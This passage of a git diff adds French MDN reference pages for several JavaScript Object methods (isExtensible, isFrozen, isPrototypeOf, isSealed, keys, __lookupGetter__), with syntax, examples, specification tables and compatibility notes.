+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Object.isExtensible(<var>obj</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>L'objet dont on souhaite vérifier s'il est extensible.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un booléen qui indique si oui ou non l'objet passé en argument peut être étendu.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Par défaut, les objets sont extensibles, on peut leur ajouter de nouvelles propriétés (et pour les moteurs qui supportent {{jsxref("Object.proto", "__proto__")}} {{deprecated_inline}}, leur propriété __proto__ peut être modifiée). Un objet peut devenir non-extensible en utilisant les méthodes {{jsxref("Object.preventExtensions()")}}, {{jsxref("Object.seal()")}}, ou {{jsxref("Object.freeze()")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">// Les nouveaux objets sont extensibles.
+var vide = {};
+Object.isExtensible(vide); // true
+
+// ...mais on peut les rendre non-extensibles.
+Object.preventExtensions(vide);
+Object.isExtensible(vide); // false
+
+// Les objets scellés sont, par définition, non-extensibles.
+var scellé = Object.seal({});
+Object.isExtensible(scellé); // false
+
+// Les objets gelés sont également, par définition, non-extensibles.
+var gelé = Object.freeze({});
+Object.isExtensible(gelé); // false
+</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Pour ES5, si l'argument passé à la méthode n'est pas un objet mais une valeur d'un autre type primitif, cela entraînera une exception {{jsxref("TypeError")}}. Pour ES2015, un argument qui n'est pas un objet sera traité comme un objet ordinaire non-extensible, la méthode renverra <code>false</code>.</p>
+
+<pre class="brush: js">Object.isExtensible(1);
+// TypeError: 1 n'est pas un objet (code ES5)
+
+Object.isExtensible(1);
+// false                           (code ES2015)
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.13', 'Object.isExtensible')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.isextensible', 'Object.isExtensible')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.isextensible', 'Object.isExtensible')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Object.isExtensible")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.preventExtensions()")}}</li>
+ <li>{{jsxref("Object.seal()")}}</li>
+ <li>{{jsxref("Object.isSealed()")}}</li>
+ <li>{{jsxref("Object.freeze()")}}</li>
+ <li>{{jsxref("Object.isFrozen()")}}</li>
+ <li>{{jsxref("Reflect.isExtensible()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/isfrozen/index.html b/files/fr/web/javascript/reference/objets_globaux/object/isfrozen/index.html
new file mode 100644
index 0000000000..ceb8c242ef
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/object/isfrozen/index.html
@@ -0,0 +1,177 @@
+---
+title: Object.isFrozen()
+slug: Web/JavaScript/Reference/Objets_globaux/Object/isFrozen
+tags:
+  - ECMAScript 5
+  - JavaScript
+  - JavaScript 1.8.5
+  - Méthode
+  - Object
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/isFrozen
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>Object.isFrozen()</strong></code>permet de déterminer si un objet est {{jsxref("Object.freeze()", "gelé", "", 1)}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-isfrozen.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Object.isFrozen(<var>obj</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>L'objet dont on souhaite vérifier s'il est gelé.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un booléen qui indique si oui ou non l'objet passé en argument est gelé.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Un objet est gelé si et seulement s'il n'est pas {{jsxref("Object.isExtensible", "extensible","",1)}}, que toutes ses propriétés sont non-configurables et que ses propriétés de données (c'est-à-dire les propriétés qui ne sont pas des accesseurs ou des mutateurs) sont non-accessibles en écriture.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">// Un objet nouvellement créé est extensible
+// et est donc dégelé
+Object.isFrozen({}); // false
+
+// Un objet vide et non extensible est gelé
+var videGelé = Object.preventExtensions({});
+Object.isFrozen(videGelé); // true
+
+// Un nouvel objet avec une propriété est
+// extensible et donc dégelé
+var uneProp = { p: 42 };
+Object.isFrozen(uneProp); // false
+
+// Si on empêche d'étendre un objet non vide,
+// cela ne le rend pas gelé car la propriété
+// est toujours configurable (et accessible
+// en écriture)
+Object.preventExtensions(uneProp);
+Object.isFrozen(uneProp); // false
+
+// ...si on supprime la seule propriété existante
+// en revanche, on a bien un objet gelé
+delete uneProp.p;
+Object.isFrozen(uneProp); // true
+
+// Un objet non-extensible et avec une propriété
+// non-accessible en écriture mais toujours configurable
+// n'est pas gelé
+var nonWritable = { e: "plep" };
+Object.preventExtensions(nonWritable);
+
+Object.defineProperty(nonWritable, "e", { writable: false });
+// on la rend non accessible en écriture
+
+Object.isFrozen(nonWritable); // false
+
+// Si on rend la propriété non-configurable,
+// l'objet devient gelé
+
+Object.defineProperty(nonWritable, "e", { configurable: false });
+// on la rend non-configurable
+
+Object.isFrozen(nonWritable) === true);
+
+// Un objet non-extensible avec une propriété non-configurable
+// mais accessible en écriture n'est pas gelé
+var nonConfigurable = { release: "the kraken!" };
+Object.preventExtensions(nonConfigurable);
+Object.defineProperty(nonConfigurable, "release", { configurable: false });
+Object.isFrozen(nonConfigurable); // false
+
+// Si cette propriété devient non accessible
+// en écriture, l'objet est gelé
+Object.defineProperty(nonConfigurable, "release", { writable: false });
+Object.isFrozen(nonConfigurable); // true
+
+// Un objet non-extensible avec un accesseur
+// configurable n'est pas gelé
+var accesseur = { get manger() { return "miam"; } };
+Object.preventExtensions(accesseur);
+Object.isFrozen(accesseur); // false
+
+// ...si on rend la propriété non-configurable,
+// l'objet est gelé.
+Object.defineProperty(accesseur, "manger", { configurable: false });
+Object.isFrozen(accesseur); // true
+
+// La façon la plus simple est d'utiliser la
+// méthode Object.freeze
+var gelé = { 1: 81 };
+Object.isFrozen(gelé); // false
+Object.freeze(gelé);
+Object.isFrozen(gelé); // true
+
+// Par définition, un objet gelé est non-extensible.
+Object.isExtensible(gelé); // false
+
+// Par définition, un objet gelé est scellé.
+Object.isSealed(gelé); // true
+</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Pour ES5, si l'argument passé à la méthode n'est pas un objet (mais est d'un autre type primitif), cela entraînera une exception {{jsxref("TypeError")}}. Pour ES2015, un argument qui n'est pas un objet sera traité comme s'il était un objet gelé et la méthode renverra <code>true</code>.</p>
+
+<pre class="brush: js">Object.isFrozen(1);
+// TypeError: 1 n'est pas un objet (code ES5)
+
+Object.isFrozen(1);
+// true                            (code ES2015)
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.12', 'Object.isFrozen')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définition initiale. Implémentée par JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.isfrozen', 'Object.isFrozen')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.isfrozen', 'Object.isFrozen')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Object.isFrozen")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.freeze()")}}</li>
+ <li>{{jsxref("Object.preventExtensions()")}}</li>
+ <li>{{jsxref("Object.isExtensible()")}}</li>
+ <li>{{jsxref("Object.seal()")}}</li>
+ <li>{{jsxref("Object.isSealed()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/isprototypeof/index.html b/files/fr/web/javascript/reference/objets_globaux/object/isprototypeof/index.html
new file mode 100644
index 0000000000..2777d794c2
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/object/isprototypeof/index.html
@@ -0,0 +1,126 @@
+---
+title: Object.prototype.isPrototypeOf()
+slug: Web/JavaScript/Reference/Objets_globaux/Object/isPrototypeOf
+tags:
+  - JavaScript
+  - Méthode
+  - Object
+  - Prototype
+  - Reference
+  - isPrototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/isPrototypeOf
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>isPrototypeOf()</strong></code> permet de tester si un objet existe dans la chaîne de prototypes d'un autre objet.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-prototype-isprototypeof.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et envoyez-nous une <em>pull request.</em></p>
+
+<div class="note">
+<p><strong>Note :</strong> <code>isPrototypeOf()</code> est différent de l'opérateur {{jsxref("Opérateurs/instanceof", "instanceof")}}. Dans l'expression "<code>object instanceof AFunction</code>", on compare la chaîne de prototypes d'<code>object</code> avec <code>AFunction.prototype</code> et non avec <code>AFunction</code>.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>prototypeObj</var>.isPrototypeOf(<var>objet</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>objet</code></dt>
+ <dd>L'objet dont la chaîne de prototypes sera parcourue.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un {{jsxref("Boolean")}} indiquant si l'objet appelant se trouve dans sa chaîne de prototypes de l'objet indiqué.</p>
+
+<h3 id="Erreurs_déclenchées">Erreurs déclenchées</h3>
+
+<dl>
+ <dt>{{jsxref("TypeError")}}</dt>
+ <dd>Une exception {{jsxref("TypeError")}} est déclenchée si <code>prototypeObj</code> est <code>undefined</code> ou <code>null</code>.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode isPrototypeOf () vous permet de vérifier si un objet existe ou non dans la chaîne de prototypes d'un autre objet.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Cet exemple montre que <code>Bidule.prototype</code>, <code>Truc.prototype</code>, <code>Machin.prototype</code> et <code>Object.prototype</code> font bien partie de la chaîne de prototype pour l'objet <code>bidule</code> :</p>
+
+<pre class="brush: js">function Machin() {}
+function Truc() {}
+function Bidule() {}
+
+Truc.prototype = Object.create(Machin.prototype);
+Bidule.prototype = Object.create(Truc.prototype);
+
+var bidule = new Bidule();
+
+console.log(Bidule.prototype.isPrototypeOf(bidule)); // true
+console.log(Truc.prototype.isPrototypeOf(bidule)); // true
+console.log(Machin.prototype.isPrototypeOf(bidule)); // true
+console.log(Object.prototype.isPrototypeOf(bidule)); // true
+</pre>
+
+<p>La méthode <code>isPrototypeOf()</code>, avec l'opérateur {{jsxref("Operators/instanceof", "instanceof")}} en particulier, s'avère particulièrement utile si vous avez du code qui ne peut fonctionner que lorsqu'il traite des objets descendant d'une chaîne de prototypes donnée, par ex., pour garantir que certaines méthodes ou propriétés seront présentes dans cet objet.</p>
+
+<p>Par exemple, vérifier que <code>bidule</code> descend bien de <code>Machin.prototype</code> :</p>
+
+<pre class="brush: js">if (Toto.prototype.isPrototypeOf(bidule)) {
+  // effectuer quelque chose de sûr
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.4.5', 'Object.prototype.hasOwnProperty')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.prototype.hasownproperty', 'Object.prototype.hasOwnProperty')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.prototype.hasownproperty', 'Object.prototype.hasOwnProperty')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">La table de compatibilité de cette page a été générée à partir de données structurées. Si vous souhaitez contribuer à ces données, voyez <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyee-nous une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Object.isPrototypeOf")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Opérateurs/instanceof", "instanceof")}}</li>
+ <li>{{jsxref("Object.getPrototypeOf()")}}</li>
+ <li>{{jsxref("Object.setPrototypeOf()")}}</li>
+ <li>{{jsxref("Object.prototype.proto","Object.prototype.__proto__")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/issealed/index.html b/files/fr/web/javascript/reference/objets_globaux/object/issealed/index.html
new file mode 100644
index 0000000000..750efbf49f
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/object/issealed/index.html
@@ -0,0 +1,137 @@
+---
+title: Object.isSealed()
+slug: Web/JavaScript/Reference/Objets_globaux/Object/isSealed
+tags:
+  - ECMAScript 5
+  - JavaScript
+  - JavaScript 1.8.5
+  - Méthode
+  - Object
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/isSealed
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>Object.isSealed()</strong></code> permet de déterminer si un objet est scellé.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-issealed.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Object.isSealed(<var>obj</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>L'objet dont on souhaite savoir s'il est scellé.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un booléen indiquant si l'objet est scellé ou non.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Renvoie <code>true</code> si l'objet est scellé, <code>false</code> sinon. Un objet scellé est un objet qui n'est pas {{jsxref("Object.isExtensible", "extensible","",1)}} et dont toutes les propriétés sont non-configurables (on ne peut donc pas les retirer, en revanche on peut avoir un droit de modification).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">// Par défaut, les objets ne sont pas scellés
+var vide = {};
+Object.isSealed(vide); // false
+
+// Si un objet vide est rendu non-extensible,
+// il est scellé
+Object.preventExtensions(vide);
+Object.isSealed(vide); // true
+
+// Ce qui n'est pas vrai pour un objet non-vide,
+// sauf si toutes ses propriétés sont non-configurables
+var avecPropriétés = { pif: "paf pouf" };
+Object.preventExtensions(avecPropriétés);
+Object.isSealed(avecPropriétés); // false
+
+// Si on rend les propriétés non configurables,
+// l'objet est scellé
+Object.defineProperty(avecPropriétés, "pif", { configurable: false });
+Object.isSealed(avecPropriétés); // true
+
+// La méthode la plus simple est d'utiliser Object.seal.
+var scellé = {};
+Object.seal(scellé);
+Object.isSealed(scellé); // true
+
+// Un objet scellé est, par définition, non-extensible
+Object.isExtensible(scellé); // false
+
+// Un objet scellé peut être gelé mais ce n'est pas
+// nécessaire. gelé signifie que les propriétés ne
+// peuvent pas être modifiées
+Object.isFrozen(scellé); // true
+
+var s2 = Object.seal({ p: 3 });
+Object.isFrozen(s2); // false ("p" est toujours modifiable)
+
+var s3 = Object.seal({ get p() { return 0; } });
+// pour les accesseurs, seule l'accès en
+// configuration est important
+Object.isFrozen(s3); // true </pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Pour ES5, si l'argument passé à la méthode n'est pas un objet mais une valeur d'un autre type primitif, cela entraînera une exception {{jsxref("TypeError")}}. Pour ES2015, une valeur qui n'est pas un objet sera traitée comme si c'était un objet scellé et la méthode renverra <code>true</code>.</p>
+
+<pre class="brush: js">Object.isSealed(1);
+// TypeError: 1 is not an object (ES5 code)
+
+Object.isSealed(1);
+// true                          (ES2015 code)
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.11', 'Object.isSealed')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.issealed', 'Object.isSealed')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.issealed', 'Object.isSealed')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Object.isSealed")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.seal()")}}</li>
+ <li>{{jsxref("Object.preventExtensions()")}}</li>
+ <li>{{jsxref("Object.isExtensible()")}}</li>
+ <li>{{jsxref("Object.freeze()")}}</li>
+ <li>{{jsxref("Object.isFrozen()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/keys/index.html b/files/fr/web/javascript/reference/objets_globaux/object/keys/index.html
new file mode 100644
index 0000000000..4cd9891d66
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/object/keys/index.html
@@ -0,0 +1,129 @@
+---
+title: Object.keys()
+slug: Web/JavaScript/Reference/Objets_globaux/Object/keys
+tags:
+  - ECMAScript 5
+  - JavaScript
+  - JavaScript 1.8.5
+  - Méthode
+  - Object
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/keys
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>Object.keys()</strong></code> renvoie un tableau contenant les noms des propriétés propres à un objet (qui ne sont pas héritées via la chaîne de prototypes) et qui sont énumérables. L'ordre de ce tableau est le même que celui obtenu par une boucle {{jsxref("Instructions/for...in","for...in")}} (à la différence qu'une boucle for-in liste également les propriétés héritées).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-keys.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Object.keys(<var>obj</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>L'objet dont on souhaite lister les propriétés propres et énumérables.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un tableau de chaînes de caractères qui sont les noms des propriétés énumérables de l'objet passé en argument.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>Object.keys()</code> renvoie un tableau dont les éléments sont les chaînes de caractères des noms des propriétés propres et énumérables d<code>'obj</code>. L'ordre des propriétés obtenu est le même que celui obtenu lorsqu'on boucle manuellement sur les propriétés de l'objet.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var arr = ["a", "b", "c"];
+console.log(Object.keys(arr));
+// affichera ['0', '1', '2']
+
+// un objet semblable à un tableau
+var obj = { 0 : "a", 1 : "b", 2 : "c"};
+console.log(Object.keys(obj));
+// affichera ['0', '1', '2']
+
+// un objet semblable à un tableau avec
+// un ordre de clé aléatoire
+var an_obj = { 100: "a", 2: "b", 7: "c"};
+console.log(Object.keys(an_obj));
+// affichera ['2', '7', '100']
+
+// getToto est une propriété non énumérable
+var monObjet = Object.create({}, {
+                                 getToto : {
+                                            value : function () {
+                                              return this.toto }
+                                           }
+                                  });
+monObjet.toto = 1;
+
+console.log(Object.keys(monObjet));
+// affichera ['toto']
+</pre>
+
+<p>Si on souhaite lister toutes les propriétés, y compris celles qui ne sont pas énumérables, on pourra utiliser {{jsxref("Object.getOwnPropertyNames()")}}.</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Pour ES5, si l'argument passé à la méthode n'est pas un objet mais une valeur d'un autre type primitif, cela entraînera une exception {{jsxref("TypeError")}}. Pour ES2015 (ES6), un argument qui n'est pas un objet sera d'abord converti en objet.</p>
+
+<pre class="brush: js">Object.keys("toto");
+// TypeError: "toto" n'est pas un objet (code ES5)
+
+Object.keys("toto");
+// ["0", "1", "2", "3"]                   (code ES2015)</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.14', 'Object.keys')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définition initiale.<br>
+    Implémentée avec JavaScript 1.8.5</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-object.keys', 'Object.keys')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.keys', 'Object.keys')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Object.keys")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Caractère_énumérable_des_propriétés_et_rattachement">Énumérabilité et possession des propriétés</a></li>
+ <li>{{jsxref("Object.prototype.propertyIsEnumerable()")}}</li>
+ <li>{{jsxref("Object.create()")}}</li>
+ <li>{{jsxref("Object.getOwnPropertyNames()")}}</li>
+ <li>{{jsxref("Object.values()")}}</li>
+ <li>{{jsxref("Object.entries()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/lookupgetter/index.html b/files/fr/web/javascript/reference/objets_globaux/object/lookupgetter/index.html
new file mode 100644
index 0000000000..fcb6bc6f0b
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/object/lookupgetter/index.html
@@ -0,0 +1,91 @@
+---
+title: Object.prototype.__lookupGetter__()
+slug: Web/JavaScript/Reference/Objets_globaux/Object/lookupGetter
+tags:
+  - Déprécié
+  - JavaScript
+  - Méthode
+  - Object
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/__lookupGetter__
+---
+<div>{{JSRef}} {{deprecated_header}}</div>
+
+<p>La méthode <code><strong>__lookupGetter__</strong></code> renvoie la fonction liée comme accesseur d'une propriété donnée.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>obj</var>.__lookupGetter__(<var>sprop</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>sprop</code></dt>
+ <dd>Une chaîne de caractères qui contient le nom de la propriété dont on souhaite obtenir l'accesseur (<em>getter</em>).</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La fonction qui est l'accesseur lié à la propriété indiquée.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Si un accesseur a été défini pour une propriété, il n'est pas possible d'obtenir la fonction utilisée en accédant à la propriété car on obtiendrait la valeur de retour de l'accesseur au lieu de l'accesseur lui-même. <code>__lookupGetter__</code> permet de récupérer la valeur de la fonction pour l'accesseur.</p>
+
+<p>Cette méthode ne doit plus être utilisée et il est possible de la remplacer de façon standard en utilisant : {{jsxref("Object.getOwnPropertyDescriptor()")}} et {{jsxref("Object.getPrototypeOf()")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var obj = {
+  get toto() {
+    return Math.random() &gt; 0.5 ? 'toto' : 'truc';
+  }
+};
+
+
+// Méthode non-standard et dépréciée
+obj.__lookupGetter__('toto');
+// (function() { return Math.random() &gt; 0.5 ? 'toto' : 'truc'; })
+
+
+// Méthode standard
+Object.getOwnPropertyDescriptor(obj, "toto").get;
+// (function() { return Math.random() &gt; 0.5 ? 'toto' : 'truc'; })
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.prototype.__lookupGetter__', 'Object.prototype.__lookupGetter__()')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Incluse dans l'annexe normative pour les fonctionnalités historiques liées aux navigateurs web (la spécification codifie ce qui est déjà présent dans les différentes implémentations).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Object.lookupGetter")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.lookupSetter","Object.prototype.__lookupSetter__()")}}</li>
+ <li>L'opérateur {{jsxref("Fonctions/get", "get")}}</li>
+ <li>{{jsxref("Object.getOwnPropertyDescriptor()")}} et {{jsxref("Object.getPrototypeOf()")}}</li>
+ <li>{{jsxref("Object.prototype.defineGetter","Object.prototype.__defineGetter__()")}}</li>
